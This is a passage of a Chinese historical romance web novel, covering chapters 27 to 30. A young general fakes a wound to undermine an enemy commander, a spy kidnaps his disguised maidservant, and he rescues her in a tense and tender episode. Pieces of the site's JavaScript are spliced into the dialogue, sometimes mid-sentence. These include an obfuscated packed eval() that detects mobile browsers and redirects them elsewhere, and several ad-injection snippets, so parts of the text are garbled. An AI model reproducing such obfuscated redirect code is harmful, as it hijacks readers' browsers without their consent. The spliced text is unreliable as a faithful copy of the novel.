维力斯的武器是一把长柄弯刀,甫一开始,就向着裴霁曦直劈过来。裴霁曦的武器是一把钩镰枪,可刺可砍,可他长枪并未出手,只是微一闪身,避过长刀的攻击,顺势将长枪一刺,维力斯急忙后撤,险些被砍中手臂。 二人你来往我数十招,只闻得兵器铿锵作响,裴霁曦身法敏捷,长枪宛如长在手上一般,灵活且有力。维力斯的刀法也并不逊色,虽然不如长枪灵活,可胜在力大,尤其是和枪头碰撞的铮铮声,可以看出二人皆是力敌千钧。 只是时间一长,当二人体力皆有消耗,以力气擅长的维力斯便落得下风,裴霁曦趁他收招空挡轻巧一挑,维力斯的弯刀脱手了,为闪躲攻击,不得已跌下马去。 裴霁曦下马拱手道:“承让!” 维力斯站起身来,“果然虎父无犬子,裴小将军,依我们先前所言……” 裴霁曦正凝神听他讲话,可不料维力斯突然靠近,袖中一把匕首,毫无预兆地刺向裴霁曦胸口。 裴霁曦胸口被刺中,但他反应迅速,抓住了维力斯的手,将其一拧,顺势夺过匕首,可维力斯迅速撤后,裴霁曦没能反刺回去。 维力斯转身上马,边撤边狂笑道:“裴小将军,你太过大意,兵不厌诈,不过,我军今日仍旧依言撤军,但裴小将军,待你伤好,可要准备迎战了。” 裴霁曦并未拦他,也回身上马,只是转身的一瞬的表情泰然,仿佛一切尽在掌控,可他瞬间又皱起眉头,似在忍耐着伤痛,右手拉着缰绳,左手捂住胸口,鲜血从他指缝中流出,显然伤势不轻,回到阵中,他便命令大军撤退。 方若渊看着裴霁曦缓慢移动的身影,不知他伤情,忙走近他,上前检查他伤口,未料到竟流了这么多血。 墨语身上备着伤药,一贯冷静的他也面露焦急,先为裴霁曦简单包扎。 方若渊道:“北狄人甚是无耻,已然落败,还要用暗器攻击,真乃小人也。” “就这么让他们跑了?”严奇胜气冲冲道,“好不容易主动进攻一次,咋还不追了?” 方若渊打断他的怒气:“赶紧回营为将军疗伤。” 大军意气风发而出,却未得一战悻悻而归,初雪晴看到裴霁曦被墨语扶着回到营帐,胸前简单包扎的绷带上也渗出了血,即使她知道是怎么回事,也不禁被周围的气氛感染,担忧计划出了什么意外。 裴霁曦令众将撤出,仅留军医、墨语和初雪晴帮他处理伤口。 军医剪开他的上衣,讶然出声,可裴霁曦目光一瞪,军医立刻噤声。 初雪晴端来一盆水,拿着湿布巾递给裴霁曦,裴霁曦简单擦了擦胸前的鲜血,对军医道:“本将今日受伤颇重,劳烦军医开一些补血益气的方子,至于其他的,你可明白?” 军医忙点头:“明白,小人定会竭力救治将军。” 片刻之后,初雪晴端着已然染红的水和被剪下来浸满血迹的衣服出了营帐,营帐外,祁允和何生仍在等着,见她出来,何生问道:“将军可还好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13742151|143224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?方副将和严将军去写军报,我二人实在担心将军,不知他伤势如何?” 初雪晴打量了一下眼前二人,何生面露担忧,眸中满是焦急之色,祁允却紧皱眉头,一言不发。 她答道:“失血过多,要好生养着才行。”她顺势将水盆和脏的衣物塞给他们二人,“你们别担心了,帮我把这些扔了,行军一天,赶紧回去歇着吧,这里有我伺候就行了。” 她转身回到帐中,军医做样子待了片刻,便也告退了。裴霁曦也吩咐墨语,去盯着那人。 裴霁曦已换好了衣服,此刻帐中无人,他半靠在床榻之上,见到初雪晴,才面露一丝笑容,“冬雪果然聪明过人,那维力斯主动来挑衅,我焉能退让?只是不能痛快赢一场,也甚是憋闷。” 初雪晴快步走到他身边,笑道:“世子赢的不在这一场,一次单挑的输赢也并不重要,且看他如何后悔去吧。” “接下来,就要让他们发现我是假受伤了。” 初雪晴道:“世子放心,即便军医没有露出马脚,方才我扔那件血衣的时候,也‘不小心’把装着鸡血的羊皮袋混了进去。” 原来,今日种种,皆是二人算计得来。进攻不是真的进攻,留给了细作传消息的时间,但时间又不那么充裕,仅够对方列阵以待,不能偷袭。裴霁曦提前在胸口处暗藏了一袋鸡血,就为显得逼真一些。 即使今日维力斯不主动挑衅,裴霁曦也是要单挑一员大将,并且一定要败,败得不着痕迹,早在维力斯进攻的时候,他就从对方的袖中看到了匕首,受伤也不过是顺势而为。 如今让军中细作知道了这伤是假的,这样北狄公主乌尤拉就会以为,今日一切皆是维力斯和裴霁曦串通好的局,为的就是让维力斯胜过裴霁曦,在乌尤拉面前立一个功。 可那维力斯不是乌尤拉的人,而是北狄王安插在公主身边的,乌尤拉一旦知道裴霁曦假作受伤,那维力斯在公主面前就无信任可言了,如此,北狄多了一个裴霁曦的“细作”,不论这细作真假,也能让对方损失一员大将。 “你还未进明履营,就已经立了一功,以后,也定有望做个运筹帷幄的军师。” 初雪晴忙自谦道:“还是世子留着一个细作传假消息,启发了我,我可不敢居功。其实,不进明履营,我也可以在世子身边,我觉得跟着世子,能学到更多。” 裴霁曦闻言愣怔片刻,想到之前自己的猜测,莫非小丫头真的是对自己动了心,才想方设法要留在自己身边? 他思索后缓缓道:“明履营有更适合女子的训练方法,况且舞阳将军能力在我之上,你进了明履营,能学到更多东西,跟着我不是长久之计。” 初雪晴知道这是裴霁曦为她选的最好的路,明履营又有许多和她一样胸怀大志的女子,虽然跟着裴霁曦能学到许多实战要领,可那群女兵也让她心生向往,不禁在眸中聚起了对未来的希冀,她点头道:“我听世子的,世子让我去哪,我就去哪。” 28. 第 28 章 裴霁曦看到她眼中光芒,全聚在自己身上,心下猝然慌乱起来,以前不是没有女子对自己示好,可他深知自己肩上重责,都能泰然处之,毫不犹豫地拒绝。可这一年多来,这丫头与自己朝夕相处,说是自己培养起来的也不为过,难免让人倾注些许心力,若此时初雪晴表明要跟他,他竟不知自己是否该拒绝。 幸好,幸好她没表明心意,也能让他这么装糊涂下去。 裴霁曦故作镇定地清了清喉咙,初雪晴听到便转身去为他倒水,他接过初雪晴递来的杯,借着清水从喉咙流过的一瞬压下心头那些慌乱,转移话题道:“待细作将消息递出去,乌尤拉必定疑心大起,届时北狄少一员大将,他们在石喙岭又耗了这么长时间,一无所获,想必北狄王觉罗尔穆也不会任他们耗在石喙岭上。” 初雪晴问道:“如果石喙岭得保,下一步北狄还会继续攻望北关吗?” 裴霁曦摇摇头:“对北狄而言,石喙岭地势不适合他们的骑兵攻击,潜云坳又是一处天堑,易守难攻,望北关是最适合突破的地方,然定远军主力在望北关,北狄硬碰硬很难,接下来北狄会如何尚不得知,石喙岭保住后,我会带部分兵力回到望北关。” “那我可以跟着一同去吗?” “可。”裴霁曦点头道,“经过这些时日,你也有所成长,如今望北关暂无战乱,届时我会送你去明履营,虽不是明履营招新的时候,但你可在营中先熟悉一下。” “那明履营何时招新?” 裴霁曦倏尔沉默了一瞬,明履营作为定远军独特的一部分,一直饱受争议,也是舞阳将军力排众议坚定保留了下来,可这么多年了,明履营的士兵只见减少,不见增加。 他叹道:“明履营只是舞阳将军麾下众多军队中的一支,一直得她重看,不过明履营的人数远少于其他营,仅仅不到三千人。近年来,也鲜有女子愿意投军,招新就这么一直耽搁了下来。” 初雪晴愣怔片刻,仅仅裴霁曦此次所带新兵,因着定远军的名号,就招到了两万人,可整个明履营的人数之少,出乎她的意料。 裴霁曦继续道:“正逢战时,姑母想必没有多余精力指导你,明履营的方淼将军,也就是严将军的妻子,负责过明履营多次招新和训练,届时我会打声招呼,让她用心指导。” “多谢世子。”初雪晴目光清澈,语气诚恳。 可奇怪,明明是清澈无波的目光,可搅得裴霁曦有些燥乱,他随口道:“此间没你事了,你回帐吧。” “可世子明明‘重伤’,身边不能缺人伺候的,我在这里陪着世子。” 裴霁曦哑然,只得压低声音,“早晚也要被揭穿,不如多露出些马脚。” 初雪晴这才告退。 直到初雪晴走出打仗,裴霁曦方觉得这帐内没那么逼仄,长长呼了口气。 * 正如裴霁曦所料,几日后斥候探得消息,北狄公主果然有所怀疑,与维力斯在众将面前对峙,面对种种裴霁曦留下的破绽,维力斯百口莫辩,最终,北狄公主竟把维力斯斩首示众。 初雪晴知道自己想的这个计谋会让北狄内乱,可她没有料到,竟能如此轻易取一个人的性命。纵然上兵伐谋,可这谋略的背后,竟也是血淋淋的人命。她从未见过北狄大将维力斯,可竟然这样取了他的性命。 原来即使是运筹帷幄的军师,身上也是要背负杀孽的。 裴霁曦得知此消息后,除了和以往一样那种打了胜仗的喜悦之外,竟生了种吾家有女初长成般老父亲的快慰,自己一手带出来的丫头,能想的出如此计谋,他果然没有看错人。 严奇胜和方若渊听到消息也急忙来找裴霁曦验证。 听得裴霁曦解释一番后,严奇胜颇为得意地对北狄公主一顿嘲笑。 方若渊恍然大悟般慨叹之前误会了裴霁曦,还以为裴霁曦是少年鲁莽冲动应战,没想到这计谋一环套一环,果然英雄出少年。 裴霁曦也未居功,只道:“此番计谋并非我想出的,而是冬雪。”说着看向严奇胜,“严将军,冬雪此番立功,可够格进明履营了?” 严奇胜走到初雪晴近前,双手用力拍了拍她的肩膀:“少年郎,不愧是裴小将军的手下啊!” 初雪晴被拍得肩膀生疼,只尴尬笑笑,躲开严奇胜大掌。 严奇胜说完才反应过来,“不对,为何进明履营,明履营全是娘们啊!” 方若渊看着眼前眉清目秀的初雪晴,顿时明白了过来,慨叹道:“原来是冬雪,而非冬学,是女儿身,而非少年郎。” 严奇胜拍拍脑袋,自己竟然一直没看穿,还以为是少年年龄小,嗓音还稚嫩,未料竟然是女子,“哈哈,我们糊涂啊,竟都没看出来,不过不管是男是女,能有如此心计,哪个营都会抢着要的。” 裴霁曦顺势道:“那严将军可要在尊夫人面前美言几句,待得此番战事一了,就让她去明履营报道。” “没问题,包在我身上。”严奇胜又道,“可为啥你不直接把他推荐给舞阳将军呢。” 裴霁曦未语,方若渊见状拍拍严奇胜:“严将军,你推荐给方将军,那是要让冬雪带着军功进明履营,要是直接推荐给舞阳将军,容易惹人猜疑啊。” 严奇胜道:“你们这些个心眼子啊,有真本事,怕什么,我看冬雪以后在明履营啊,也会大有作为的!” 初雪晴被夸得有些赧然,淡笑着道谢。 此间热闹结束,严奇胜和方若渊出了帐子,裴霁曦看出她心不在焉,问道:“怎的看你并没有太高兴?” 初雪晴被看出心事,垂头道:“世子,我只是没想到,我只是出一个计策,竟然要了一条人命。” 裴霁曦忽而想起自己第一次上战场的样子,被风沙中的血腥气吓得愣住了,直到身边同伴被杀,才回过神来上阵杀敌,想想现在初雪晴的反应,倒也有些理解,“战争就是人命堆起来的,为何道上兵伐谋,这是牺牲最小的方式,既选择了这条路,早晚都要面对自己手上的杀孽,现在我究竟杀过多少敌军 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,我都数不清了。” 初雪晴看着裴霁曦发怔,一个习惯了战场厮杀的将军,是理解不了她这种纠结吧? 裴霁曦继续道:“可你要知道,战争归根结底,是为了一方安定。为了保住这安定,无论是战友的牺牲,还是敌人的性命,都是不可避免的。如果没有这个信念,战士是无法上战场的。” 裴霁曦见她眸中神色仍是茫然,摇摇头,“你未见过百姓流离失所,妇孺在北狄的铁骑下受辱求生,是无法体会的。我还要写奏报,你出去透透气吧。” 初雪晴木木地点头,走出营帐。 暖春已至,和煦的日光中飘着点点尘埃,远山的新绿已然冒头,在云雾的遮挡下若隐若现,远处的生机盎然,近处却是士兵的操练带起的黄沙飞扬。 以为远山春意已至,谁料漫天黄土遮掩。 她踩着脚下的黄土,合着军队练兵的号子漫无目的地走着。 不知围着营地走了多久,直至身后响起唤她声音,她才怔愣回头。 是何生在叫她,她不禁打起精神,问他何事。 何生冲她笑笑,“刚才严将军不小心说漏嘴了,原来你是个女娃。”何生见她皱眉,忙道,“你放心,没多少人知道,刚才也就我和祁允在。” 初雪晴面色平静,只摇摇头,“无事,知道了也无妨。” 何生试探问道:“裴小将军进军营也带着你,你是他的……贴身丫鬟?” 这话问得隐晦,虽说定远军有女子从军,但毕竟不在他们营,裴霁曦让初雪晴女扮男装,也是为了避免口舌非议。 初雪晴未答,只道:“我该回了。”言罢径直离去。 何生留在原地,若有所思。 初雪晴加快脚步,他们一直怀疑的对象就是何生,裴霁曦这么快把何生提起来,也是为了方便让他接触一些消息。甚至为了掩人耳目,一道把祁允也提起来,以防何生疑心。 现在既然计谋都成功了,何生想必也看出一些蛛丝马迹,知道自己被利用了,接下来也难以再为他们所用,何生如此问她,是在试探什么吗? 她回到营帐,声音因小跑而带着些许喘息,对低头伏案的裴霁曦道:“世子,何生马脚已露,他也应该察觉到自己被发现了,现在是否要抓他?” 裴霁曦停下手中的笔,看到眼前初雪晴的紧张的神色,先安慰她莫慌,思考片刻,又道:“不如待他把北狄公主被骗的消息放出去,挫挫北狄锐气,再处置他不迟。” “可那样会不会生些变数,毕竟他有可能已经知道自己暴露了。” 裴霁曦笑道:“这下不担心因自己计谋害人性命了?” “世子莫说笑了,这些轻重缓急我还是知道的,立场不同,性命本就是对立的,我只是需要时间消化一下。” 裴霁曦垂首继续写奏报,只道了句:“你会适应的。” 就像他一样,从八岁开始适应,人心早已随着战场上的厮杀变得坚硬,他带出来的小姑娘,只是需要时间。 29. 第 29 章 裴霁曦以为一切尽在掌控,一个细作不会在营中掀起什么风浪。可他无数次后悔过自己当时的自大,以为可以睥睨天下,实则人心难测,没有人可以未卜先知。 他不知严奇胜已将初雪晴的女儿身说漏嘴,而一旦她的女子身份暴露,难免就会有人猜测他们的关系,有所误会,如此一来,初雪晴就是软肋,是靶子。 而这靶子,已然被何生瞄准。 自打上次细作进营,裴霁曦的帐外就加强了守卫。 但初雪晴明面上是小厮的身份,她的帐外自然不会像裴霁曦的帐子那样守备森严。 是夜,何生潜伏到初雪晴帐外,用迷烟迷晕她,何生也知道军营的布防,趁着换防的机会,虏初雪晴出了军营。 直到清晨,裴霁曦起身不见初雪晴,还以为她因昨日心事重重还未调解过来,直到他四处寻了初雪晴不见人,才下令让人去寻。 可守卫又来报,何生趁夜离了营帐。 裴霁曦闻言,一向平静的面色瞬间僵冷,立即点了一队人马,即刻便要离营去追。 方若渊听闻后,连忙在他出营前拦下他的马,对他道:“冬雪被俘,显然是他们以此为要挟,诱你前去,你这一去就中计了。” 马上的裴霁曦却并未停留,只匆忙道:“我自有分寸,他们昨夜出营未骑马,北狄大军也已撤营,何生想追上大军还来不及,趁他们未走远,救回冬雪尚有可能,若是……”他未再说下去,转而道,“我不在营中,一切听卢将军指挥。” 此时,祁允驾马而来,对裴霁曦道:“将军,我同你一起去救冬雪。” 裴霁曦点点头,他们一行人快速打马而去。 * 何生虏了初雪晴后,知道被发现后必有追兵,只能连夜扛着她走了几十里地,不过实在扛着人走体力不济,他走走停停,速度也算不上快。 初雪晴醒时,晨光熹微,颠簸的感觉让她腹中不适,迷烟的后劲让她头痛万分。当她意识到自己身处在什么情形之下,并未立刻呼救,忍着身体不适,观察周围环境。 虽然仍处山中,可显然此处树林茂密,地势稍缓,距石喙岭大营已经不知多远了。 何生察觉到她醒了,把她甩到地上,用绳子缚住她的手,拿匕首抵住她的脖颈,“跟着我走,不然杀了你!” 初雪晴看着因为赶路微喘的何生,道:“我头还晕着,走不了。” 何生匕首已转方向,扎向初雪晴的手臂,初雪晴吃痛出声,何生瞪着她:“若是不走,下一刀不知会扎向何处了。” 初雪晴双手被缚,无法捂住自己流血的伤口,生生忍着疼痛,被何生拽着往前走。不过她仍旧假作无力,尽量拖着何生的步伐。 可何生见她拖沓,对着她的伤口又刺一刀,“别耍心眼,快走!” 鲜血顺着她的胳膊往下流,染红了她的衣袖,滴落到她被缚着的手上,她木讷地被拽着前行。 不知走了多久,出了密林,到了山脚一片开阔的谷地,竟看见一队北狄人马。 原来是留下来等着接应何生的小队人马,他们匀给何生一匹马,何生要把初雪晴拖上马,初雪晴挣扎着不肯上马,一旦上马,速度快起来,她被救的希望就更小了。 何生见她仍是挣扎,骂了几句,自己上马,拖着缚住她的绳子,驾马前行。 初雪晴被奔跑的马拖倒,身下嶙峋的山石划破她的衣裳,更多的鲜血渗出,剧痛让她闭上了眼睛,鼻尖是马蹄奔驰带起的扬尘,她的发髻也散乱开来。 何生停下马,周围的北狄士兵凑上来,要把她抗到马上。 不知哪个士兵看见她散乱的发髻和衣服破口下白皙的皮肤,顺势扯下她的衣袖,露出她肩膀和胳膊,胳膊上大大小小的伤口,可不掩肌肤的白净。 北狄士兵的脸狰狞起来,狞笑着使劲握着她的伤口,上来便要扯她的衣服。 浓重的绝望袭来,她从未如此深刻地感知到人性的恶,也从未如此清晰地知道战争的残酷。 就在这时,阵阵马蹄声从后方传来,北狄士兵反应过来,不再围着她,有人发了信号弹,他们又纷纷拿起兵器迎战。 竟真的是裴霁曦一行人追了上来,两方很快厮打在一起。 初雪晴身上的疼痛已经麻木,她无力地回头,只见那清朗少年一身戎装,身披斗篷,面带杀气,自灼人的日光中破敌而出,杀出一条血路,耀眼而夺目。 马上的他挽起长弓,凶狠地盯着何生。何生来不及反应,只见一支长箭破空而出,直冲着何生袭来。 裴霁曦一箭解决了何生,目光转到地上的初雪晴时,眸中凶狠变为浓重的化不开的心痛,他忙下马,放下长弓,到了初雪晴身边,脱下斗篷,罩在初雪晴身上,把她拥入怀里。 他的小丫头,面色苍白,衣衫褴褛,血迹满身。 他怒喝一声,一手拥着初雪晴,一手拿起长枪,扎在已然死去的何生身上。 怀中的人,努力抬起手,拽住他的胳膊,虚弱道:“世子……我没事……还有北狄人……我们快走……” 裴霁曦这才冷静下来,他带出的人不多,刚好跟这队人马抗衡,他还带着初雪晴,方才已见有人放信号弹,他们此刻不宜恋战。 裴霁曦下令撤退,拢住裹着初雪晴的斗篷,抱起了她。可起身的时候,初雪晴一声闷哼,他急忙检查了下,初雪晴大概是腿部骨折。 他更加小心翼翼地将初雪晴抱上马,护在自己胸前。 如同护住自己心爱的珍宝。 裴霁曦惦念着初雪晴的伤,不敢行得太快,一手拢着她的腰身,一手拽着马缰,鼻尖是初雪晴身上混着黄土味道的血腥气,他不觉得难闻,只觉得心痛无比。 他的小姑娘,再是坚韧独立,也还未及笄,竟因为他的一时疏忽,遭此大罪,他恨不能替她去受伤,去被俘,去遭受众人唾弃。 他怀中的初雪晴大概是实在坚持不住,身子一软,晕了过去。他急忙勒住马,唤着:“冬雪,冬雪……” 祁允看见 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 裴霁曦如此失去理智的样子,心中也明了初雪晴对他的意义,可如今只是解决了这一小队人马,北狄大军看到信号弹,显然会回转追赶他们。 祁允对裴霁曦道:“将军,如此颠簸,冬雪大概是受不了的,不如您带着她躲起来,我们负责把敌军引开。” 裴霁曦观察了下周围的地形,他想起之前勘察地势时,西面不远处有个隐蔽的山洞,心中主意已定,道:“我往西走,待我走后你们清理下痕迹,继续前行,三日后若我未回营,到西边二十里处寻我。” 他稳下心神,又凑近祈允低语:“若是北狄大队来追,你不要硬来,在前方设下陷阱,看他们是否会中计。” 祁允应是,裴霁曦交代清楚了,才向西行去。 林间多是杂草,不像平地容易留下痕迹,裴霁曦掌控着速度,既要快,又要平稳,好在此间路不好走,也不是回营的方向,应能迷惑北狄人。 走到他之前探查过的山洞,裴霁曦下马,小心翼翼将初雪晴抱进山洞。 初雪晴仍旧昏迷着,惨白的脸上有尘土的污渍,好在被马拖拽的时候她护住了头,脸上倒没有明显伤痕。 裴霁曦轻轻打开初雪晴身上的斗篷,她左臂衣袖已被扯掉,上面一道明显的刀伤,深可见骨,还在流着血,旁处还有许多擦伤,伤口不似刀伤这么严重,但是也都混着泥土。 裴霁曦去旁边小溪取了些水装在水囊里,又撕下一块布浸湿,帮初雪晴擦了擦脸,又轻轻擦拭她左臂上的伤口。 昏迷中的初雪晴许是察觉到了疼痛,眉头紧皱,却仍未苏醒。 裴霁曦用随身携带的疗伤药涂抹好她的伤口,包扎了左臂的刀伤。 他们之间这样,其实已然突破男女大防。初雪晴此番被掳,将来怕是不好嫁人了。 裴霁曦静静望着昏迷的初雪晴,手不禁抚上她的脸颊,轻触了一下,立刻又收回了手。 他的母亲,温婉贤惠,生下他不久就允了父亲,抬通房李氏做妾,表面上做到了当家主母的大方,可私下仍会在他面前透露出伤怀。而李氏又有了庶女,更是让他母亲抑郁在心。最终,他母亲又怀上了一胎,只是在生产时没熬过去,一尸两命。 所以他一直觉得,自己一定要给未来的妻子以足够的尊重,不会在婚前有通房丫鬟。 可眼前的小姑娘,有着向阳而生的生命力,不似一般丫鬟那样只想着勾心斗角,混于后宅。 她冰雪聪明,四书五经,一点就透,兵法谋略,也是能烂记于心。虽说身体底子不好,可跟着他习武,从未喊过一声苦。 她如此不同,很难不被吸引。 他原以为自己只是报恩,只是这恩,报着报着,就让自己陷了进去。破例让他贴身伺候,破例教一个女子习武,破例带她进军营…… 原来所有的破例,都有迹可循。 原来离开温泉后那一梦的荒唐,只因心动早已悄然而至。 如果是她,他那不收通房丫鬟的规矩,是不是也可以打破。 30. 第 30 章 裴霁曦暗自下了决心,轻轻挽起她已然破碎的右臂衣袖,同样是许多擦伤。 如同捧着易碎的瓷器,他一点一点地擦拭着,有了不一样的心境,有了坦然承认的勇气,更是心疼他的丫头。 处理完两只手臂,初雪晴慢慢转醒。 她睁开眼后,看着身旁的裴霁曦,反应了好一会儿,才意识到方才发生了什么。裴霁曦在她的目光下尴尬地放下她的衣袖,正要说点什么解释一下,只听初雪晴嗓音嘶哑,“世子……我们在哪儿?” 裴霁曦暗自庆幸,还好没问让他窘迫的问题——为何掀她的衣袖。裴霁曦低声答道:“祁允一队人引开了北狄人,我带你在此处山洞躲一下,先处理好你的伤口。” 裴霁曦拿来水囊,“先喝点水,润润嗓子。” 他轻轻用手抬起初雪晴的头,将水囊凑到她的唇边。 初雪晴嘶哑着声音道:“世子……我自己来。” “莫逞强。”裴霁曦不容置喙地抬起水囊,喂她喝水。 待她喝完,裴霁曦道:“你胳膊上的伤我处理完了,但是你的腿部应是骨折了,我需要看一下。” 初雪晴轻轻点头,努力就着裴霁曦扶她的手坐了起来,感受到腿部的疼痛,皱了皱眉,忍住没有出声。 裴霁曦轻咳一声,道:“也有可能只是膝盖受伤,或者,我只撕开一点膝盖的地方看一下?”毕竟,他不便看她的腿。 初雪晴似是没听出来裴霁曦语气中的尴尬,虚弱道:“挽起裤腿就可以。” 裴霁曦心中一怔,初雪晴的态度也印证了他的猜想,初雪晴定是已把自己看做他的人,也已不避讳男女界限了。 裴霁曦犹豫着,伸出手挽起她的裤腿,一点点露出她伤痕累累的小腿。他一边仔细检查,一边观察初雪晴的表情,碰到她忍不住皱眉的地方,便知道是哪里受伤严重。 “还是骨折了,需要好生养着。” 裴霁曦处理好她腿上的擦伤,又捡了一根木棍,磨平木棍上的刺,才小心翼翼绑住她的腿。 裴霁曦忙这些的时候,初雪晴就静静看着他。 先前被被敌人俘虏,初雪晴只觉自己真的要死了,生死一刻间,回想来到大宁的这段时间,才发现自己真的有不舍。 不舍这个一直以来教导她,温暖她的人。 她还没有好好报答裴霁曦的知遇之恩,如何能无愧死去呢。 好在,她的将军来了,为她杀出一条血路,带她脱离险境。 她低声呢喃:“世子……谢谢你。” ——谢谢你不嫌丫鬟卑微,教导我兵法武艺;谢谢你给我机会,一展所长;谢谢你不畏危险,救我于水深火热…… 这些话,在她心头盘旋,终是笑了笑,没说出口。 裴霁曦听到她的感谢,看向那双乌黑的眸子,心中涌动的情愫渐渐压不住了,轻轻握住了她的手,“没事了,已经没事了。” 裴霁曦的手很暖,从手上传来的热意灼人,让初雪晴忘记思考他们此时是否过于亲密,甚至鬼使神差地,回握住了裴霁曦的手。 两人的手紧紧相握,裴霁曦感受到来自初雪晴的回应,她的手有些冰凉,让他忍不住,将她拥入了怀中。 “对不起,是我让你身处险境。” 初雪晴先时有些被这拥抱惊住,听到裴霁曦的话,才知他竟如此愧疚,忙道:“是我自己大意了,和世子无关,也多亏了世子救我。” “我的错。”裴霁曦斩钉截铁道,“以后不会了。” 他绝不会再让初雪晴置于如此险地。 初雪晴想说点什么安慰他,可距离太近,鼻尖是自己日日为他熏香用的松木味道,心脏受到蛊惑一般砰砰乱跳,相贴处的皮肤忘记疼痛,叫嚣着灼热。 直到裴霁曦松开她,身体上的麻意还散不去。 裴霁曦看着眼前面颊开始泛红的人,喉结微微一滚,掩饰道:“我去找点吃的,你身上还有一些其他的伤口,你自己处理一下。” 裴霁曦放下药瓶和湿布,转身走出山洞。 他长呼口气,迎着山间春风站了一会儿,才吹散了身上热意。 四处探了探,确定没有北狄踪迹,才从山涧捕了些鱼带回去。 他在山洞里生了堆火,在篝火旁处理着刚捕的鱼,对不远处躺着的初雪晴道:“现在这情形,真像当初你找到我那个山洞。只是,受伤的人换了换。” 初雪晴虚弱笑道:“世子莫再讲了,现在想起当初的险境,我都后怕。” “恩,这次不让你吃榛子,给你做更好吃的。” 篝火中的木柴噼啪作响,火光映在裴霁曦的面庞上,高高的额头上沁着些许汗珠,染着篝火的光辉,泛着迷人的色泽。汗珠顺着他清晰的眉骨,滑到他鬓角,似掉非掉,渐渐落到他棱角分明的下颌线,埋入衣襟之中。 初雪晴不知不觉,眼眸定在那些调皮的汗珠之上,直到眼神顺着汗珠落入他的衣襟,方觉不妥,急忙收回视线。 还好裴霁曦认真烤鱼,没注意到她放肆的视线。 初雪晴将脸埋入斗篷之中,斗篷上的血腥气让她不禁想起了今日裴霁曦来救她的样子,少年将军,英气勃发,耀眼夺目,也难怪让她生死之际都念念不忘。 不知为何,思绪又飘回方才的拥抱之上。她能感受到裴霁曦的愧疚与不安,可她也能感受到自己的躁乱和悸动。 怕是要动不该动的心。 还是要赶紧去明履营,离远些,就能掐灭这些苗头了。 “好了。”裴霁曦的声音响起,打破她的胡思乱想,“尝尝我的手艺。” 裴霁曦拿着烤好的鱼走过来,见她脸颊发红,焦急问道:“你可是发热了?”裴霁曦伸手触碰她的脸颊,果然热得很。 初雪晴忙答:“不是发热,只是洞里有些闷。” 裴霁曦拢了拢她身下的斗篷,“身上冷吗?” 初雪晴摇头,避开他的视线,“不冷。” 裴霁曦看着眼前小姑娘欲盖弥彰的神色,也想到了方才的拥抱,心中了然,弯了弯唇角,道:“专门为你烤的,趁热吃吧。” 裴霁曦扶她坐起,作势要喂她。 初雪晴忙拿过他手中烤鱼,“我自己来就可以。” 裴霁曦没再坚持,只是扶在她肩膀上的另一只手还未拿下,就维持着这个姿势,看着臂弯中的她。 初雪晴感 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 受到身旁灼人的视线,道:“世子,我没事了,你也赶紧吃点。”肩膀上的热度灼人,没有松开的迹象,“我真的没事了。” 裴霁曦这才松开她,不紧不慢地走回篝火旁。 可手松开了,视线还未松开。 初雪晴的脸上还带着红晕,似一朵半开的桃花,颜色浅淡却欲语还休。 她的眼神仍旧躲避着,视线低垂,专心小口吃着烤鱼。 她的唇上沾了些烤鱼的油,没有方才那么苍白,带了些许淡粉,一张一合,闪现洁白的牙齿,咬进一块烤肉,慢慢抿嘴嚼着,嚅动的嘴唇带着些许光泽,诱人的,不知道是烤肉,还是她的唇。 就这么把人的视线牢牢粘住。 许是感受到这灼人的视线,初雪晴扭过头来,“世子,你快吃,不用担心我了。” 裴霁曦这才挪开视线,篝火上另一个烤鱼已然变黑,裴霁曦笑了笑,拿着吃了起来。 * 翌日傍晚,裴霁曦和初雪晴回到了营地。 甫一进营,严奇胜就操着大嗓门迎接他们:“你们可知昨日祈允抓到了谁?哈哈!北狄公主!乌尤拉竟然自己带队去追你们,可落到了祈允的陷阱里,被活捉了回来!” 裴霁曦也没料到,乌尤拉竟亲自来追他们,不过他也没被这个消息冲昏头脑,还是初雪晴的伤要紧,他只和严奇胜道回头再说,先送了初雪晴回账,让军医好生医治。 军医道外伤好治,只是骨折需要静养,起码要歇上三个月。 裴霁曦却不放心,问道:“她的外伤,如何能不留疤?” 军医露出讶异神色,怎的当兵的还怕留疤?从前也没有将士提出过这般需求,他只得道:“军中男子一般也不在意这个,所以军营里也未备祛疤的药。不过明履营应该有这种药,或者回了邺清让人配也可。” 裴霁曦点点头,他担心初雪晴在意自己容貌,害怕留疤,看来让她回邺清养伤势在必行了。 初雪晴却并没有他想得这般在意,笑道:“能捡回一条命来都是福分,留点疤也无妨,左右都是在看不见的地方。” 军医出帐后,裴霁曦才对她道:“你留在军营养伤多有不便,何况此番战事一了,留下常备军,大军就要去望北关了,你还是先回邺清养伤,歇上几个月再说。” 初雪晴忙道:“我的伤无事,不会耽误世子的。” 裴霁曦轻拍她的肩膀,看来这丫头真是一刻都不想和他分开,裴霁曦轻扬唇角道:“此处军营没有女子,你梳洗都不方便,谈何养伤呢。” 初雪晴脸颊一热,想到自己身上这身污泥,微微垂下了头,低喃道:“我可以自己洗的,可若回了邺清,就什么事都做不了了。” 裴霁曦没忍住轻轻弹了下她的额头,“你好生在邺清等我,我会抽空回去看你。” 初雪晴不知为什么,裴霁曦从昨天开始,经常有些拍肩弹额头这样的小动作,可能是这次她被掳,着实让裴霁曦担心了。 她不想让自己这身臭味再熏着裴霁曦,催促道:“世子,你快去审北狄公主吧。” 裴霁曦笑笑转身走了,离帐前还回了几次头,看到初雪晴静静坐在那里,就觉得心安。 31. 第 31 章 